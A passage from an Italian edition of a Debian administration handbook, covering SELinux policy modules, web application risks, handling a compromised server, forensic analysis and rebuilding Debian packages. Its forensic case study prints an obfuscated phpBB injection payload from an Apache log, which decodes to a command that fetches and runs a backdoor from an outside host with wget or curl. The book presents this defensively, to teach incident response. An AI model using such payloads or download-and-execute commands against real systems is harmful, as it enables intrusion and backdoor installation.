Dall'osservazione di questa voce di log, è possibile costruire una regola che permetta questa operazione. Per esempio: allow syslogd_t device_t:fifo_file { read write }. Questo processo può essere automatizzato, ed è esattamente ciò che offre il comando audit2allow (del pacchetto policycoreutils). Questo approccio è utile solo se i vari oggetti sono già etichettati correttamente secondo ciò che dev'essere confinato. In ogni caso, bisognerà rivedere attentamente le regole generate e validarle a seconda della propria conoscenza dell'applicazione. In effetti, questo approccio tende a concedere più diritti di quelli realmente necessari. La soluzione corretta è spesso quella di creare nuovi tipi e di concedere i diritti solo a questi tipi. Può anche accadere che negare un'operazione non sia fatale per l'applicazione, nel qual caso sarebbe meglio aggiungere una regola "dontaudit" per evitare la voce di log nonostante l'effettivo diniego.

COMPLEMENTI Nessun ruolo nelle regole della politica

Può sembrare strano che i ruoli non compaiano per nulla nella creazione di nuove regole. SELinux utilizza solo i domini per capire quali operazioni sono permesse. Il ruolo interviene solo indirettamente dando la possibilità all'utente di passare ad un altro dominio. SELinux è basato sulla teoria nota come Type Enforcement e il tipo è il solo elemento che conta quando si concedono i diritti.

14.5.4.4. Compilare i file

Una volta che i 3 file (example.if, example.fc e example.te) corrispondono alle proprie aspettative per le nuove regole, rinominateli in myapp.extension e lanciare make NAME=devel per generare un modulo nel file myapp.pp (può essere immediatamente caricato con semodule -i myapp.pp). Se sono definiti diversi moduli, make creerà tutti i rispettivi file .pp.

14.6. Altre considerazioni relative alla sicurezza

La sicurezza non è un problema tecnico; più di ogni altra cosa, si tratta di buone pratiche e di comprensione dei rischi. Questa sezione esamina alcuni dei rischi più comuni, così come alcune delle migliori pratiche che, a seconda dei casi, aumentano il livello di sicurezza o limitano l'impatto di un attacco subito.

14.6.1. Rischi intrinseci delle applicazioni web

Il carattere universale delle applicazioni web ha aiutato la loro proliferazione. Spesso ne sono in esecuzione parecchie in parallelo: webmail, wiki, sistemi collaborativi, gallerie di foto, blog e così via. Molte di queste applicazioni si basano sullo stack "LAMP" (Linux, Apache, MySQL, PHP). Sfortunatamente, molte di queste applicazioni sono state anche scritte senza sufficiente considerazione dei problemi di sicurezza. I dati provenienti dall'esterno vengono, troppo spesso, acquisiti con poca o nessuna validazione. Possono essere forniti valori creati appositamente per stravolgere l'invocazione di un comando in modo tale che un altro venga eseguito al suo posto. La maggior parte dei problemi più comuni sono stati risolti col passare del tempo, ma regolarmente se ne presentano di nuovi.

VOCABOLARIO SQL injection

Quando un programma inserisce dati nelle interrogazioni SQL in modo non sicuro, diventa vulnerabile ad attacchi del tipo SQL injection; questo termine identifica l'atto di cambiare un parametro in modo tale che l'interrogazione effettivamente eseguita dal programma sia differente da quella prevista, con lo scopo di danneggiare un database oppure ottenere dati che normalmente non dovrebbero essere accessibili.

→ https://en.wikipedia.org/wiki/SQL_Injection

Risulta d'obbligo quindi l'aggiornamento delle applicazioni web su base regolare, affinché nessun cracker (che sia un autore di attacchi professionista oppure un principiante detto “script kiddy“) possa sfruttare una vulnerabilità conosciuta. Il rischio effettivo dipende dai casi, e spazia dalla perdita dei dati all'esecuzione di codice arbitrario, incluso il defacing (deturpazione) di un sito web.

14.6.2. Sapere cosa aspettarsi

Una vulnerabilità in un'applicazione web è spesso usata come punto di partenza per un tentativo di attacco. Quello che segue è una breve rassegna delle possibili conseguenze.

SGUARDO VELOCE Filtrare le richieste HTTP

Apache 2 include moduli che permettono di filtrare le richieste HTTP. Questi permettono di bloccare alcuni vettori d'attacco. Per esempio, si può prevenire un buffer overflow limitando la lunghezza dei parametri. Più in generale, si può validare i parametri prima che vengano passati all'applicazione web e limitare l'accesso con vari criteri. Questo approccio può anche essere combinato con aggiornamenti dinamici dei firewall, in modo tale che un client che viola una delle regole è escluso dall'accesso al server web per un dato periodo di tempo.

Impostare questi controlli può essere un compito lungo e laborioso, ma può ripagare quando l'applicazione web che dev'essere installata ha seguito uno sviluppo incerto per quanto riguarda la sicurezza.

mod-security2 (nel pacchetto libapache2-mod-security2) è il principale di tali moduli. Viene fornito anche con molte regole già pronte all'uso (nel pacchetto modsecurity-crs) che possono essere facilmente abilitate.

Le conseguenze di un'intrusione hanno vari livelli di evidenza a seconda delle intenzioni dell'attaccante. Un principiante (o "script-kiddy") applica alla lettera procedure che trova sui siti web; molto spesso deturpa una pagina web o distrugge dati. In casi più subdoli, aggiunge contenuti invisibili alle pagine web per aumentare i riferimenti ai suoi siti web nei motori di ricerca.

Un attaccante più esperto va oltre. Uno scenario disastroso può presentarsi nella seguente maniera: chi attacca acquisisce la capacità di eseguire comandi come utente www-data, ma l'esecuzione di un comando richiede molte manipolazioni. Per avere vita più facile, installa altre applicazioni web progettate appositamente per eseguire da remoto varie tipologie di comandi, ad esempio l'esplorazione del file system, la gestione delle autorizzazioni, il caricamento o lo scaricamento di file, l'esecuzione di comandi, e talvolta l'apertura di una shell di rete. Spesso, la vulnerabilità permette di lanciare il comando wget per scaricare un qualche tipo di malware in /tmp/, per poi eseguirlo. Di solito il malware viene scaricato da un sito web esterno che è stato precedentemente compromesso, per far perdere le tracce e rendere più arduo individuare la reale provenienza dell'attacco.

A questo punto, chi attacca ha sufficiente libertà di movimento spesso per poter installare un bot IRC (un automa che si connette ad un server IRC e può essere controllato attraverso questo canale). Questo bot viene talvolta usato per condividere file illegali (copie non autorizzate di film o software e così via). Un autore di attacchi ben determinato potrebbe voler spingersi oltre. L'account www-data non permette l'accesso completo alla macchina, così chi attacca potrebbe provare a ottenere i privilegi di amministratore. Ora, ciò non dovrebbe essere possibile, ma se l'applicazione web non è aggiornata, può essere che il kernel oppure altri programmi siano anch'essi non aggiornati; questo può essere conseguenza della decisione dell'amministratore che, nonostante sia a conoscenza della vulnerabilità, ha trascurato di aggiornare il sistema dal momento che non sono presenti utenti locali. Chi attacca, quindi, può avvantaggiarsi di questa seconda vulnerabilità per ottenere l'accesso come root.

VOCABOLARIO Escalation dei privilegi

Questo termine copre tutto ciò che viene usato per ottenere permessi più ampi di quelli che un utente normalmente dovrebbe avere. Il programma sudo è progettato precisamente con lo scopo di concedere i diritti di amministratore ad alcuni utenti. Ma lo stesso termine è usato anche per descrivere l'atto di un autore di attacchi che sfrutta una vulnerabilità per ottenere diritti non dovuti.

L'attaccante ha ora il controllo della macchina; cercherà di mantenere questo accesso privilegiato il più a lungo possibile. Per raggiungere questo risultato può installare un rootkit, un programma che rimpiazza alcuni componenti del sistema per ripermettergli di ottenere i privilegi di amministratore successivamente (vedere anche SGUARDO VELOCE I pacchetti checksecurity e chkrootkit/rkhunter); il rootkit tenta anche di mascherare la propria esistenza così come ogni traccia d'intrusione. Un programma ps alterato ometterà di elencare alcuni processi, netstat non elencherà alcune delle connessioni attive e così via. Sfruttando i permessi di root, l'attaccante è stato in grado di osservare l'intero sistema, ma non ha trovato dati importanti; così tenterà di accedere ad altre macchine nella rete aziendale. Analizzando l'account dell'amministratore e i file della cronologia, l'autore dell'attacco scopre a quali macchine vengono fatti accessi frequenti. Sostituendo sudo oppure ssh con un programma contraffatto, l'attaccante può intercettare alcune delle password di amministrazione, che possono essere usate nei server rilevati… e l'intrusione da lì si può propagare ulteriormente.

Questo è uno scenario da incubo che può essere evitato attraverso numerose misure. Le prossime sezioni ne descrivono alcune.

14.6.3. Scegliere saggiamente il software

Una volta che i potenziali problemi di sicurezza sono noti, devono essere presi in considerazione a ciascun passo del processo di distribuzione di un servizio, specialmente quando si sceglie il software da installare. Molti siti web mantengono un elenco delle vulnerabilità riscontrate di recente, che danno un'idea dei precedenti per ciò che riguarda la sicurezza prima che qualche software particolare venga installato. Sicuramente questa informazione dev'essere bilanciata con la popolarità del suddetto software: un programma ampiamente diffuso è un bersaglio più allettante, e di conseguenza sarà esaminato più attentamente. D'altro canto, un programma di nicchia potrebbe presentare molti buchi di sicurezza che non vengono mai pubblicizzati a causa della mancanza di interesse per controlli di sicurezza.

VOCABOLARIO Controlli di sicurezza

Il controllo di sicurezza è il processo di lettura approfondita e analisi del codice sorgente del software, alla ricerca di possibili vulnerabilità di sicurezza che può contenere. Tali verifiche sono di solito proattive e vengono effettuate per garantire che un programma soddisfi determinati requisiti di sicurezza.

Nel mondo del Software Libero, c'è generalmente ampio spazio di scelta, e la scelta di un pezzo di software rispetto ad un altro dovrebbe essere una decisione basata su criteri locali. Maggiori funzionalità implicano un maggiore rischio di una vulnerabilità nascosta nel codice; scegliere il programma più avanzato per svolgere un'attività può effettivamente essere controproducente, e spesso utilizzare il programma più semplice che soddisfa i requisiti è il migliore approccio.

VOCABOLARIO Zero-day exploit

Un attacco zero-day exploit è difficile da prevenire; il termine copre una vulnerabilità che non è ancora conosciuta agli autori del programma.

14.6.4. Gestire una macchina nel suo complesso

La maggior parte delle distribuzioni Linux installano per impostazione predefinita un certo numero di servizi Unix e svariati strumenti. I molti casi, questi servizi e strumenti non sono necessari per gli effettivi scopi per cui l'amministratore configura la macchina. Come linea guida generale in termini di sicurezza, è meglio disinstallare il software non necessario. Infatti, non ha senso mettere in sicurezza un server FTP, se può essere sfruttata la vulnerabilità di un altro servizio inutilizzato per ottenere i privilegi di amministratore sull'intera macchina.

Seguendo lo stesso ragionamento, i firewall sono spesso configurati per permettere l'accesso solo ai servizi che sono destinati ad essere disponibili pubblicamente.

Gli attuali computer sono sufficientemente potenti da permettere di offrire numerosi servizi sulla stessa macchina fisica. Da un punto di vista economico, tale possibilità è interessante: solo un computer da amministrare, minor consumo energetico e così via. Dal punto di vista della sicurezza, invece, questa scelta può diventare un problema. Un solo servizio compromesso può permettere l'accesso all'intera macchina, che a sua volta può compromettere gli altri servizi offerti. Il rischio può essere limitato isolando i servizi. Ciò si ottiene sia con la virtualizzazione (ogni servizio viene ospitato in una macchina virtuale dedicata o contenitore), sia con AppArmor/SELinux (assegnando ad ogni servizio demone un insieme adeguatamente progettato di permessi).

14.6.5. Agli utenti piace giocare

Discutere di sicurezza porta immediatamente alla mente la protezione contro gli attacchi da parte di cracker anonimi che si nascondono nella giungla di Internet; ma un fatto spesso dimenticato è che i rischi vengono anche dall'interno: un dipendente che sta per lasciare l'azienda potrebbe scaricare file sensibili relativi a progetti importanti e venderli alla concorrenza, un venditore negligente potrebbe allontanarsi dalla propria scrivania senza bloccare la sessione durante un meeting con un nuovo potenziale cliente, un utente maldestro potrebbe eliminare la directory sbagliata per errore e così via.

La risposta a questi rischi può richiedere soluzioni tecniche: bisogna concedere agli utenti solo i permessi necessari, inoltre è d'obbligo pianificare backup regolari. Ma nella maggior parte dei casi, per evitare i rischi la giusta protezione implica insegnare agli utenti come evitare i rischi.

SGUARDO VELOCE autolog

Il pacchetto autolog contiene un programma che disconnette automaticamente gli utenti inattivi dopo un ritardo configurabile. Permette anche di terminare i processi utente che rimangono attivi al termine della sessione, impedendo così agli utenti di eseguire demoni.

14.6.6. Sicurezza fisica

Non ha senso mettere in sicurezza i servizi e le reti se i computer stessi non sono protetti. Dati importanti meritano di essere memorizzati su dischi fissi hot-swap in configurazione RAID, perché i dischi fissi prima o poi si guastano e la disponibilità dei dati è d'obbligo. Ma se qualsiasi ragazzo della pizza può entrare nell'edificio, intrufolarsi nella stanza del server e scappare con alcuni dischi rigidi prescelti, allora un importante aspetto di sicurezza non è soddisfatto. Chi può entrare nella stanza del server? È presente un controllo degli accessi? Queste domande meritano una considerazione (e una risposta) quando viene valutata la sicurezza fisica.

La sicurezza fisica include anche prendere coscienza dei rischi derivanti da incidenti, come ad esempio gli incendi. Questo rischio in particolare è ciò che giustifica l'archiviazione dei supporti di backup in un edificio separato, o almeno in una cassaforte ignifuga.

14.6.7. Responsabilità legale

Un amministratore è, per i suoi utenti così come per gli utenti della rete in generale, una persona più o meno implicitamente fidata. Dovrebbe pertanto evitare qualsiasi negligenza che persone ostili potrebbero sfruttare.

Un aggressore che prende il controllo della vostra macchina, potrebbe usarla come base (conosciuta come "sistema ripetitore") dalla quale effetture altre attività malevoli: ciò potrebbe crearvi problemi legali, dal momento che la parte sotto attaccata vedrebbe l'attacco provenire dal vostro sistema e quindi vi considererebbe come l'aggressore (o come un complice). In molti casi, l'attaccante userà il vostro server come ripetitore per inviare spam, che non dovrebbe avere molto impatto (è da aspettarsi la probabile registrazione sulle black list che potrebbe limitare la possibilità di inviare email legittime), ma non sarà comunque piacevole. In altri casi, problemi più seri potrebbero essere causati dalla vostra macchina, per esempio attacchi di tipo "denial of service". Questo talvolta porterà a mancati ricavi, dal momento che i servizi legittimi non saranno disponibili e i dati potrebbero andare distrutti; a volte questo implicherà anche un costo reale, perché la parte che è sotto attacco può avviare un procedimento legale contro di voi. I detentori dei diritti possono citarvi in giudizio se nel vostro server viene condivisa la copia di un lavoro protetto da copyright, così come possono fare altre aziende legate da contratti di qualità del servizio se sono tenute al pagamento di penalità a causa dell'attacco partito dalla vostra macchina.

Quando si presentano queste situazioni, dichiararsi innocenti di solito non basta; per lo meno, sarà necessaria una prova convincente che dimostra un'attività sospetta sul sistema proveniente da un determinato indirizzo IP. Ciò non sarà possibile se si trascurano le raccomandazioni di questo capitolo e si concede all'autore dell'attacca di ottenere l'accesso ad un account privilegiato (in particolare root) per cancellare le proprie tracce.

14.7. Gestire una macchina compromessa

Nonostante le migliori intenzioni e per quanto attentamente sia stata progettata la politica di sicurezza, un amministratore prima o poi può trovarsi a fronteggiare un attacco. Questa sezione fornisce alcune linee guida su come reagire davanti a queste sfortunate circostanze.

14.7.1. Rilevare ed esaminare l'intrusione di un cracker

Il primo passo da intraprendere dopo aver subito un'intrusione è di essere consapevoli di tale atto. Questo non è evidente, soprattutto senza un'adeguata infrastruttura di monitoraggio.

Atti di cracking spesso non vengono rilevati finché non hanno conseguenze dirette sui servizi legittimi ospitati sulla macchina, come connessioni che rallentano, alcuni utenti che non riescono ad accedere o qualche altro tipo di malfunzionamento. Di fronte a questi problemi, l'amministratore ha bisogno di guardare per bene la macchina e analizzare attentamente cosa c'è che non va. È questo il momento in cui si scopre un processo insolito, per esempio, uno con nome apache invece di quello standard /usr/sbin/apache2. Se seguiamo questo esempio, la cosa da fare è annotarsi l'identificativo del processo, e controllare /proc/pid/exe per vedere qual è il programma che il processo sta attualmente eseguendo:

# ls -al /proc/3719/exe lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

Un programma installato sotto /var/tmp/ che è in esecuzione come server web? Nessun dubbio, la macchina è compromessa.

Questo è solo un esempio, ma molti altri indizi possono far suonare il campanello d'allarme all'amministratore:

l'opzione di un comando che da tempo non funziona più; la versione del software che il comando dichiara che non corrisponde alla versione che si suppone sia installata secondo dpkg;

il prompt dei comandi o il messaggio di benvenuto della sessione che indica che l'ultima connessione proviene da un server sconosciuto o da un altro continente;

errori causati da partizioni /tmp/ che si riempiono, che si scopre essere piene zeppe di copie illegali di film;

e così via.

14.7.2. Mettere off-line il server

In tutti i casi tranne in quelli più esotici, l'intrusione arriva dalla rete, e l'autore dell'attacco ha bisogno di una connessione di rete attiva per raggiungere i suoi scopi (accedere a dati confidenziali, condividere file illegali, nascondere la sua identità usando la macchina come ripetitore e così via). Staccare il computer dalla rete impedirà a chi attacca di raggiungere questi obiettivi, se ancora non è riuscito a farlo.

Ciò è possibile solo se il server è fisicamente accessibile. Quando il server è ospitato presso il data center del provider da qualche parte nel mondo, oppure se il server non è accessibile per qualche altro motivo, solitamente è buona norma iniziare a raccogliere alcune informazioni importanti (vedere Sezione 14.7.3, «Mantenere tutto ciò che può essere usato come prova», Sezione 14.7.5, «Analisi forensi» e Sezione 14.7.6, «Ricostruire lo scenario dell'intrusione»), poi isolare il server fermando quanti più servizi possibili (di solito, tutto tranne sshd). Questa è una situazione un po' scomoda, in quanto non si può escludere la possibilità che l'attaccante acceda tramite SSH come l'amministratore e questo rende più difficile poter "ripulire" le macchine.

14.7.3. Mantenere tutto ciò che può essere usato come prova

Individuare l'intrusione e/o iniziare azioni legali contro gli autori degli attacchi richiede il salvataggio di copie di tutti gli elementi importanti; questo include il contenuto dell'hard disk, la lista di tutti i processi in esecuzione e un elenco di tutte le connessioni aperte. Può essere utile allo scopo anche il contenuto della RAM, ma in pratica è raramente utilizzato.

Nel bel mezzo dell'azione, gli amministratori sono spesso tentati dall'effettuare maggiori controlli sulla macchina compromessa; di solito non è una buona idea. Ogni comando è potenzialmente contraffatto e può coprire alcune prove. I controlli dovrebbero essere limitati ad un inseme minimo (netstat -tupan per le connessioni di rete, ps auxf per un elenco dei processi, ls -alR /proc/[0-9]* per un qualche informazione in più sui programmi in esecuzione) ed ogni controllo effettuato potrebbe essere accuratamente registrato.

ATTENZIONE Analisi a caldo

Anche se può sembrare allettante analizzare il sistema mentre è attivo, soprattutto quando il server non è raggiungibile fisicamente, è una cosa che è meglio evitare: molto semplicemente non ci si può fidare dei programmi attualmente installati in un sistema compromesso. È molto probabile che un comando ps alterato possa nascondere alcuni processi, oppure un ls modificato possa nascondere file; anche il kernel talvolta è compromesso!

Se è comunque richiesta un'analisi a caldo, occorre prestare attenzione ad utilizzare solo programmi della cui bontà si è certi. Un buon modo per farlo è quello di avere un CD di ripristino con programmi originali, oppure una risorsa di rete condivisa in sola lettura. Comunque, anche queste contromisure possono essere insufficienti se il kernel stesso è compromesso.

Una volta che gli elementi "dinamici" sono stati salvati, il passo successivo consiste nell'archiviare un'immagine completa dell'hard-disk. È impossibile generare l'immagine se il file system è in continua evoluzione, motivo per cui dev'essere rimontato in sola lettura. La soluzione più semplice spesso è di spegnere brutalmente il sistema (dopo aver lanciato sync) e riavviarlo da un CD di ripristino. Bisogna copiare ogni partizione con uno strumento tipo dd; bisogna spedire le immagini ad un altro server (eventualmente con il conveniente strumento nc). Un'altra possibilità potrebbe essere ancora più semplice: rimuovere proprio il disco dalla macchina e sostituirlo con uno che può essere formattato e reinstallato.

14.7.4. Re-installare

Non bisogna riportare online il server senza una reinstallazione completa. Se i danni procurati sono gravi (sono stati ottenuti i privilegi di amministrazione), non c'è modo di essere sicuri di essersi liberati da tutto ciò che l'autore dell'attacco può aver lasciato alle spalle (in particolare backdoor). Sicuramente, bisogna applicare tutti gli aggiornamenti di sicurezza per sanare la vulnerabilità utilizzata da chi ha fatto l'attacco. Idealmente, l'analisi dell'attacco porta a rilevare il modo in cui esso è avvenuto, così si può essere sicuri di risolverlo; altrimenti, si può solo sperare che la vulnerabilità sia una di quelle risolte dagli aggiornamenti.

Reinstallare un server remoto non è sempre facile; può richiedere il coinvolgimento dell'assistenza della compagnia di hosting, poiché non tutte le aziende offrono sistemi di reinstallazione automatizzati o console remote (anche se questi dovrebbero essere rari). Bisogna fare attenzione a non reinstallare la macchina da backup effettuati dopo la compromissione. Idealmente, bisogna ripristinare solo i dati, e reinstallare il software vero e proprio dal supporto di installazione.

14.7.5. Analisi forensi

Ora che il servizio è stato ripristinato, è tempo di fare un'analisi approfondita dell'immagine del disco del sistema compromesso per capire il vettore d'attacco. Quando viene montata l'immagine, bisogna fare attenzione ad usare le opzioni ro,nodev,noexec,noatime per evitare di cambiarne il contenuto (inclusi la data e l'ora di accesso ai file) oppure di lanciare per sbaglio programmi compromessi.

Ripercorrere lo scenario dell'attacco spesso richiede di ricercare tutto ciò che è stato modificato o eseguito:

I file .bash_history forniscono spesso una lettura molto interessante;

e lo stesso vale per l'elenco dei file che sono stati creati, modificati o a cui si è acceduto di recente;

il comando strings aiuta ad identificare programmi installati dall'autore dell'attacco, tramite l'estrazione delle stringhe di testo dai file binari;

spesso i file di log in /var/log/ permettono di ricostruire cronologicamente gli eventi;

l'uso di strumenti specifici permette anche di ripristinare il contenuto di file potenzialmente eliminati, inclusi file di log che vengono spesso rimossi dagli autori degli attacchi.

Alcune di queste operazioni possono essere semplificate utilizzando software specializzato. In particolare, il pacchetto sleuthkit fornisce molti strumenti per analizzare i filesystem. Il loro uso viene facilitato dell'interfaccia grafica Autopsy Forensic Browser (nel pacchetto autopsy). Alcune distribuzioni Linux hanno un'immagine "live install" e contengono molti programmi per l'analisi forense, come Kali Linux (vedere Sezione A.8, «Kali Linux»), con la sua forensic mode, BlackArchLinux e la commerciale Grml-Forensic, basata su Grml (vedere Sezione A.6, «Grml»).

→ https://blackarch.org

→ https://grml-forensic.org/

14.7.6. Ricostruire lo scenario dell'intrusione

Tutti gli elementi raccolti durante le analisi devono incastrarsi tra loro come i pezzi di un puzzle; la creazione dei primi file sospetti è spesso confermata dai log che provano l'intrusione. Un esempio reale è molto più esplicativo di lunghe divagazioni teoriche.

Il seguente log sono un estratto dall'access.log di Apache:

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Questo esempio corrisponde allo sfruttamento di una vecchia vulnerabilità di phpBB.

→ https://www.phpbb.com/phpBB/viewtopic.php?t=240636

La decodifica questo lungo URL porta a capire che l'autore dell'attacco è riuscito a eseguire del codice PHP, ossia: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Infatti, un file bd è stato trovato in /tmp/. Lanciando strings /mnt/tmp/bd si ottiene, oltre ad altre stringhe, PsychoPhobia Backdoor is starting.... Sembra proprio una backdoor.

Qualche tempo dopo, questo accesso è stato usato per scaricare, installare ed eseguire un bot IRC che si è connesso ad una rete IRC segreta. Il bot poteva poi essere controllato attraverso questo protocollo e istruito per scaricare file da condividere. Questo programma ha addirittura un proprio file di log:

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202) ** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT ** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024 ** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating ** 2004-11-29-19:50:20: DCC CHAT Correct password (...) ** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB) (...) ** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB) (...) ** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec) (...) ** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

Queste informazioni tracciate mostrano che sul server sono stati salvati due file video attraverso l'indirizzo IP 82.50.72.202.

In parallelo, l'autore dell'attacco ha inoltre scaricato un paio di file aggiuntivi, /tmp/pt e /tmp/loginx. Passando questi file in strings si ottengono stringhe tipo Shellcode placed at 0x%08lx e Now wait for suid shell.... Questi sembrano programmi che sfruttano vulnerabilità locali per ottenere i privilegi di amministratore. Hanno raggiunto il loro scopo? In questo caso, probabilmente no, dato che nessun file sembra essere stato modificato dopo l'intrusione iniziale.

In questo esempio, è stata ricostruita l'intera intrusione, e si può dedurre che l'autore dell'attacco è riuscito a sfruttare il sistema compromesso per circa tre giorni; ma l'elemento più importante nell'analisi è che la vulnerabilità è stata identificata, e l'amministratore può stare tranquillo che la nuova installazione ripara realmente la vulnerabilità.

Capitolo 15. Creazione di un pacchetto Debian

È abbastanza comune, per un amministratore che gestisce regolarmente i pacchetti Debian, sentire la necessità di creare dei propri pacchetti, o di modificarne uno già esistente. Questo capitolo serve proprio a rispondere alle domande più comuni sulla pacchettizzazione e fornire gli elementi necessari per utilizzare l'infrastruttura Debian nel migliore dei modi. Con po' di fortuna, dopo essersi cimentati con i pacchetti locali, si può anche sentire il bisogno di andare oltre e aderire al progetto Debian!

15.1. Rigenerare un pacchetto dai suoi sorgenti

Rigenerare un pacchetto binario può rendersi necessario per una serie di motivi. In alcuni casi, l'amministratore ha bisogno di una funzionalità presente nel software che richiede la compilazione dello stesso dai sorgenti, con una particolare opzione di compilazione; in altri casi, il software pacchettizzato per la versione di Debian installata non è abbastanza recente. In quest'ultimo caso, l'amministratore di solito costruisce un pacchetto più recente prendendolo da una nuova versione di Debian — come Testing o addirittura Unstable — in modo che questo nuovo pacchetto funzioni nella distribuzione Stable; questa operazione è chiamata "backporting". Come al solito, prima di cominciare, è necessario controllare se qualcun altro ha già effettuato quest'attività — un rapido sguardo alle pagine del sistema di tracciamento dei pacchetti può darci le informazioni che cerchiamo.

→ https://tracker.debian.org/

15.1.1. Ottenere i sorgenti

La ricompilazione di un pacchetto Debian inizia ottenendo il codice sorgente. Il modo più semplice è usare il comando apt-get source nome-del-pacchetto . Questo comando necessita di una riga deb-src nel file /etc/apt/sources.list ed un file degli indici aggiornato (cioè aver eseguito apt-get update). Queste condizioni dovrebbero essere già soddisfatte se si sono seguite le istruzioni presenti nel capitolo della configurazione di APT (vedere Sezione 6.1, «Compilazione del file sources.list»). Notare, tuttavia, che verranno scaricati i pacchetti di sorgenti della versione Debian indicata nella riga deb-src.

Se si ha bisogno di un'altra versione, può essere necessario scaricarla manualmente da un mirror Debian o dal sito web. Questo comporta il recupero di due o tre file (con estensioni *.dsc — per Debian Source Control — *.tar.comp, e talvolta *.diff.gz o *.debian.tar.comp — comp assumendo un valore tra gz, bz2 o xz a seconda dello strumento di compressione in uso), quindi eseguire il comando dpkg-source -x file.dsc. Se il file *.dsc è direttamente accessibile ad un determinato URL, esiste un modo ancora più semplice per recuperarlo tutto, con il comando dget URL. Questo comando (che si trova nel pacchetto devscripts ) recupera il file *.dsc all'indirizzo indicato, poi ne analizza il contenuto e recupera automaticamente il file o i file a cui si fa riferimento. Una volta che tutto è stato scaricato, verifica l'integrità dei pacchetti sorgente scaricati usando dscverify ed estrae il pacchetto sorgente (a meno che non venga usata l'opzione -d o --download-only ). È necessario il portachiavi Debian, a meno che non venga fornita l'opzione -u.

15.1.2. Apportare modifiche

Usiamo il pacchetto samba come esempio.

$ apt source samba Reading package lists... Done NOTICE: 'samba' packaging is maintained in the 'Git' version control system at: https://salsa.debian.org/samba-team/samba.git Please use: git clone https://salsa.debian.org/samba-team/samba.git to retrieve the latest (possibly unreleased) updates to the package. Need to get 12.3 MB of source archives. Get:1 http://security.debian.org/debian-security bullseye/updates/main samba 2:4.13.13+dfsg-1~deb11u3 (dsc) [4,514 B] Get:2 http://security.debian.org/debian-security bullseye/updates/main samba 2:4.13.13+dfsg-1~deb11u3 (tar) [11.8 MB] Get:3 http://security.debian.org/debian-security bullseye/updates/main samba 2:4.13.13+dfsg-1~deb11u3 (diff) [468 kB] Fetched 12.3 MB in 3s (4,582 kB/s) dpkg-source: info: extracting samba in samba-4.13.13+dfsg dpkg-source: info: unpacking samba_4.13.13+dfsg.orig.tar.xz dpkg-source: info: unpacking samba_4.13.13+dfsg-1~deb11u3.debian.tar.xz dpkg-source: info: using patch list from debian/patches/series dpkg-source: info: applying 07_private_lib dpkg-source: info: applying bug_221618_precise-64bit-prototype.patch dpkg-source: info: applying [...]

Il sorgente del pacchetto è ora disponibile in una directory con il nome del pacchetto sorgente e della sua versione (samba-4.13.13+dfsg); è qui che lavoreremo alle nostre modifiche locali.

La prima cosa da fare è cambiare il numero di versione del pacchetto, in modo che i pacchetti ricreati possano essere distinti dai pacchetti originali forniti da Debian. Supponendo che la versione corrente sia la 2:4.13.13+dfsg-1~deb11u3, possiamo creare la versione 2:4.13.13+dfsg-1~deb11u3+falcot1, che indica chiaramente l'origine del pacchetto. In questo modo il numero di versione del pacchetto sarà superiore a quello fornito da Debian, così da essere installato come aggiornamento del pacchetto originale. Questa modifica si può effettuare con il comando dch (Debian CHangelog) dal pacchetto devscripts.

$ cd 4.13.13+dfsg-1~deb11u3 $ dch --local +falcot

L'ultimo comando invoca un editor di testo (sensible-editor — questo dovrebbe essere il vostro editor preferito se è menzionato nelle variabili d'ambiente VISUAL o EDITOR, altrimenti l'editor predefinito ) per consentire la documentazione delle differenze apportate da questa rielaborazione. Questo editor ci mostra che dch ha davvero cambiato il file debian/changelog.

